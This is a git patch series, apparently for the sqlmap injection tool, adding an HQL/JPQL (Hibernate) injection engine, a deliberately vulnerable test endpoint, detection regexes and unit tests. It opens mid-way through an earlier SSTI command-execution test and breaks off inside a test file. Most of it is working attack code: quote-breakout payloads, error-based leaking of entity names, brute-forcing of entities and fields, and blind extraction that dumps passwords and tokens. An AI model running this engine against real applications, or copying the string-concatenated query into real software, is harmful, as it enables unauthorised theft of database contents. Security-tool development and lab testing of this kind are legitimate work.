"org.springframework.expression.spel.SpelEvaluationException: EL1029E" + return "Hello " # baseline / original value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "id") + self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), + msg="two-step file-based RCE did not surface command output: %r" % self.captured) From d0f16b284d306dc5c4bdd70d8c8cf6d11b9780f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 10:38:20 +0200 Subject: [PATCH 722/853] Adding support for --hql --- extra/vulnserver/vulnserver.py | 102 +++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 9 +- lib/core/optiondict.py | 1 + lib/core/settings.py | 50 +++- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/hql/__init__.py | 8 + lib/techniques/hql/inject.py | 493 +++++++++++++++++++++++++++++++++ tests/test_hql.py | 229 +++++++++++++++ 10 files changed, 901 insertions(+), 3 deletions(-) create mode 100644 lib/techniques/hql/__init__.py create mode 100644 lib/techniques/hql/inject.py create mode 100644 tests/test_hql.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 80290048cb1..7a432e8ee1c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -218,6 +218,92 @@ def nosql_match(params): else: # $eq, $in (single-valued here) and any literal equality return record == value +# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) ------------------- +# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator +# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path +# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped +# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects +# the parser diagnostic, so it also exercises the error-based entity-leak path. + +HQL_ENTITY = "org.vulnserver.model.Users" +HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"} + + +class _HqlError(Exception): + pass + + +def _hql_short(name): + return re.split(r"[.$]", name)[-1] + + +def _hql_no_row(atom): + """True when a row-walk bound "_h2. > " excludes the only record, so the + scalar sub-query resolves to NULL and its comparison is false.""" + + match = re.search(r"_h2\.\w+>(\d+)", atom) + return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1)) + + +def _hql_atom(atom): + atom = atom.strip() + + match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1' + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' + if match: + return HQL_RECORD["name"] == match.group(1) + + match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute + if match: + if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY): + raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1)) + return True + + match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence + if match: + attr = match.group(1) + if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return True + + match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length + if match: + attr, n = match.group(1), int(match.group(2)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): # row-walk cursor advanced past the only record + return False + return len(HQL_RECORD[attr]) >= n + + match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char + if match: + attr, pos, ch = match.group(1), int(match.group(2)), match.group(3) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): + return False + value = HQL_RECORD[attr] + return pos <= len(value) and value[pos - 1] == ch + + match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) + if match: + attr = match.group(1) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return HQL_RECORD[attr] is not None + + raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24]) + + +def hql_evaluate(value): + """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError.""" + + clause = "name = '%s'" % value + return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) + # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ XPATH_XML = """ @@ -968,6 +1054,22 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/hql/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + name = self.params.get("name", "") + try: + matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL + output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0}) + except _HqlError as ex: + output = json.dumps({"results": [], "count": 0, "error": str(ex)}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/xpath/search": self.send_response(OK) self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a33fd421f6f..d190d47820f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -83,6 +83,7 @@ from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX @@ -1216,6 +1217,13 @@ def _(page): if conf.beep: beep() + if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index e81daaf4815..48f137e9a2b 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,8 +529,8 @@ def start(): checkWaf() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -562,6 +562,11 @@ def start(): xxeScan() continue + if conf.hql: + from lib.techniques.hql.inject import hqlScan + hqlScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index f51325e4839..504182e22d7 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -126,6 +126,7 @@ "xpath": "boolean", "ssti": "boolean", "xxe": "boolean", + "hql": "boolean", "oobServer": "string", "oobToken": "string", "timeSec": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index ef706ccadb9..062df34ac4d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.65" +VERSION = "1.10.7.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1159,6 +1159,54 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 +# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based +# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). +# A match means the injection reached the ORM query parser (not the SQL layer), +# which is what distinguishes HQL injection from ordinary SQL injection. +HQL_ERROR_SIGNATURES = ( + ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"), + ("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"), + ("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"), + ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"), + ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"), + ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"), +) + +HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) + +# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the +# ORM equivalent of a leaked table name; HQL has no information_schema so error-based +# leakage is the native way to learn the entity model). First capture group = name. +HQL_ENTITY_REGEX = ( + r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'", + r"resolve root entity '([^']+)'", + r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped", +) + +# Printable-ASCII codepoint bounds bisected during HQL blind character extraction +HQL_CHAR_MIN = 0x20 +HQL_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during HQL blind extraction +HQL_MAX_LENGTH = 256 + +# Maximum number of attributes to enumerate per entity during HQL blind extraction +HQL_MAX_FIELDS = 64 + +# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump +HQL_MAX_RECORDS = 100 + +# Common mapped entity names brute-forced through the boolean oracle when the app +# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an +# unmapped one raises UnknownEntityException and reads as false). +HQL_COMMON_ENTITIES = ( + "User", "Users", "Account", "Accounts", "Member", "Members", "Customer", + "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential", + "Profile", "Role", "Client", "Contact", "Company", "Product", "Order", + "Item", "Article", "Post", "Comment", "Category", "Document", "File", + "Message", "Group", "Session", "Token", "Application", "Setting", +) + XXE_IMPACT_FILES = ( ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), diff --git a/lib/core/testing.py b/lib/core/testing.py index bd3f872c0a1..cc0215baaf5 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe + ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f603961bc29..c1e0f9ed9b7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -796,6 +796,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--xxe", dest="xxe", action="store_true", help="Test for XML External Entity (XXE) injection") + nonsql.add_argument("--hql", dest="hql", action="store_true", + help="Test for HQL/JPQL (Hibernate ORM) injection") + nonsql.add_argument("--oob-server", dest="oobServer", help="Out-of-band server for blind '--xxe'") diff --git a/lib/techniques/hql/__init__.py b/lib/techniques/hql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/hql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py new file mode 100644 index 00000000000..96fb8e49556 --- /dev/null +++ b/lib/techniques/hql/inject.py @@ -0,0 +1,493 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import HQL_CHAR_MAX +from lib.core.settings import HQL_CHAR_MIN +from lib.core.settings import HQL_COMMON_ENTITIES +from lib.core.settings import HQL_ENTITY_REGEX +from lib.core.settings import HQL_ERROR_REGEX +from lib.core.settings import HQL_ERROR_SIGNATURES +from lib.core.settings import HQL_MAX_FIELDS +from lib.core.settings import HQL_MAX_LENGTH +from lib.core.settings import HQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + +HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is +# known. HQL has no information_schema, so a mapped attribute either resolves +# (valid query) or raises a PathElementException (error page); that difference is +# the enumeration oracle. Ordered by real-world frequency. +HQL_COMMON_FIELDS = ( + "id", "name", "username", "user", "login", "email", "mail", "password", + "passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles", + "firstname", "lastname", "fullname", "phone", "address", "city", "country", + "active", "enabled", "created", "updated", "description", "title", "status", + "type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price", +) + +# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix, +# extraction suffix, sentinel-based). The application's own trailing delimiter +# (the closing quote it appends after the injected value) balances the suffix, so +# no comment is needed (HQL frequently rejects SQL line comments anyway). +_BOUNDARY_TABLE = ( + # (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel ) + ("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True), + ('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True), + (" OR 1=1", " AND 1=2", " OR ", "", False), +) + +# Boundary carries the extraction prefix/suffix and whether the base value must be +# a non-matching sentinel (OR-style) so a true predicate flips an empty result set. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel")) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload")) +Slot.__new__.__defaults__ = (None,) * 7 + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`, + temporarily mutating conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("HQL probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page): + return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in HQL_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _entityFromError(page): + page = getUnicode(page or "") + for regex in HQL_ENTITY_REGEX: + match = re.search(regex, page) + if match: + return match.group(1) + return None + + +def _probeError(place, parameter): + """Break the HQL string/numeric context and look for an ORM parser diagnostic. + Returns (backend, page) - a hint only; the boolean oracle is authoritative.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "'||", " and", ")"): + broken = _send(place, parameter, original + suffix) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge (both must + be independently reproducible), else None.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind HQL injection.""" + + original = _originalValue(place, parameter) or "" + + for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE: + truePayload = original + true_bk + falsePayload = original + false_bk + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, Boundary(prefix, suffix, sentinel) + + return None, None, None + + +def _base(boundary, original): + # OR-style boundaries need a base value that matches no row so a true predicate + # flips an empty result set into a populated one; AND-style keeps the original. + if boundary.sentinel: + return SENTINEL + return "-1" + + +def _wrap(original, boundary, predicate): + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + + +def _makeOracle(place, parameter, template, boundary, original): + """Build oracle(predicate) -> bool from a verified true template.""" + + cache = {} + base = _base(boundary, original) + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + def truth(predicate): + page = request(_wrap(base, boundary, predicate)) + if page is None or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + truth.template = template + truth.cache = cache + return truth + + +def _leakEntity(place, parameter, boundary, original): + """Force a path-resolution error to leak the mapped entity name. An unqualified + identifier resolves against the query root, so a random one yields e.g. + "Could not resolve attribute 'xyz' of 'com.app.User'".""" + + base = _base(boundary, original) + marker = randomStr(length=8, lowercase=True) + + for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"): + predicate = "%s IS NOT NULL" % (reference % marker) + page = _send(place, parameter, _wrap(base, boundary, predicate)) + entity = _entityFromError(page) + if entity: + return entity + + return None + + +def _shortEntity(entity): + # com.app.model.User -> User ; lab.App$Member -> Member + return re.split(r"[.$]", entity)[-1] if entity else entity + + +def _bruteEntities(truth): + """Recover mapped entity names through the boolean oracle alone (no reflected + diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one + raises UnknownEntityException and reads as false. Returns every match so the + whole reachable model can be dumped, not just the injected query's entity.""" + + retVal = [] + for entity in HQL_COMMON_ENTITIES: + if truth("EXISTS(SELECT 1 FROM %s _h)" % entity): + retVal.append(entity) + return retVal + + +def _enumFields(truth, entity): + """Probe common attribute names against the entity; a name that resolves keeps + the query valid (oracle true), a missing one raises and reads as false.""" + + fields = [] + for field in HQL_COMMON_FIELDS: + if len(fields) >= HQL_MAX_FIELDS: + break + predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) + if truth(predicate): + fields.append(field) + logger.info("identified mapped attribute: '%s'" % field) + return fields + + +# Frequency-ordered printable charset for blind character extraction +_META_ORDS = set(ord(_) for _ in ("'", '"', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._- +:/")) +_CHARSET = [] +for _ in _FREQ: + if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _scalar(entity, attribute, expr, pin, after=None): + """Scalar subquery over a single `entity` row selected by the smallest `pin` + (optionally the smallest strictly greater than `after`, to walk rows in order). + Alias-independent, so it works regardless of the outer query's alias. `expr` + wraps the attribute, cast to string so numeric/temporal values extract too.""" + + bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) + target = "CAST(_h.%s AS string)" % attribute + inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( + expr % target, entity, pin, pin, entity, bound) + return "(%s)" % inner + + +def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): + """Blindly recover one attribute value of the row selected by `pin`/`after`.""" + + # length first, by binary search + lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after) + if not truth("%s>=1" % lengthExpr): + return "" + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + for pos in xrange(1, length + 1): + charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after) + found = None + for cp in _CHARSET: + literal = chr(cp) + if truth("%s='%s'" % (charExpr, literal)): + found = literal + break + chars.append(found if found is not None else "?") + + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpEntity(oracle, place, parameter, entity): + """Enumerate an entity's mapped attributes and blindly dump all of its rows.""" + + logger.info("enumerating mapped attributes of entity '%s'" % entity) + fields = _enumFields(oracle, entity) + if not fields: + logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity) + return + + pin = "id" if "id" in fields else fields[0] + columns = list(fields) + + # Walk records in ascending pin order: each row is pinned to the smallest pin + # value strictly greater than the previous one. A numeric pin is required to + # advance the cursor; otherwise only the first (smallest-pin) row is recovered. + rows = [] + after = None + for _ in xrange(HQL_MAX_RECORDS): + pinValue = _inferValue(oracle, entity, pin, pin, after) + if not pinValue: + break + + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = _inferValue(oracle, entity, field, pin, after) + rows.append([record.get(_, "") for _ in fields]) + logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) + + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) + + +def hqlScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection " + debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + slots = [] + + for place in (_ for _ in HQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _page = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + if backendHint: + logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) + continue + + backend = backendHint or "Hibernate" + original = _originalValue(place, parameter) + # Error leakage only helps when the app actually reflects diagnostics + entity = _leakEntity(place, parameter, boundary, original) if backendHint else None + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, template, boundary, original) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + entity=entity, oracle=oracle, boundary=boundary, payload=payload)) + + if not slots: + if tested: + logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for HQL injection") + return + + for slot in slots: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload)) + + # Blind extraction covers as much of the mapped model as reachable: the error-leaked + # entity (if any) plus every common entity the boolean oracle confirms is mapped. + slot = next((_ for _ in slots if _.entity), slots[0]) + + entities = [] + leaked = _shortEntity(slot.entity) + if leaked: + entities.append(leaked) + + logger.info("recovering mapped entities through the boolean oracle") + for entity in _bruteEntities(slot.oracle): + if entity not in entities: + entities.append(entity) + + if not entities: + logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction") + logger.info("HQL scan complete") + return + + logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities))) + for entity in entities: + _dumpEntity(slot.oracle, slot.place, slot.parameter, entity) + + logger.info("HQL scan complete") diff --git a/tests/test_hql.py b/tests/test_hql.py new file mode 100644 index 00000000000..a70292921ee --- /dev/null +++ b/tests/test_hql.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock +oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage, +blind attribute enumeration, value extraction and output formatting can be exercised +without a live Hibernate target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.hql.inject as hql + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(hql._ratio("abc", "abc"), 0.9) + self.assertLess(hql._ratio("abc", "xyz"), 0.5) + + def test_is_error(self): + self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error 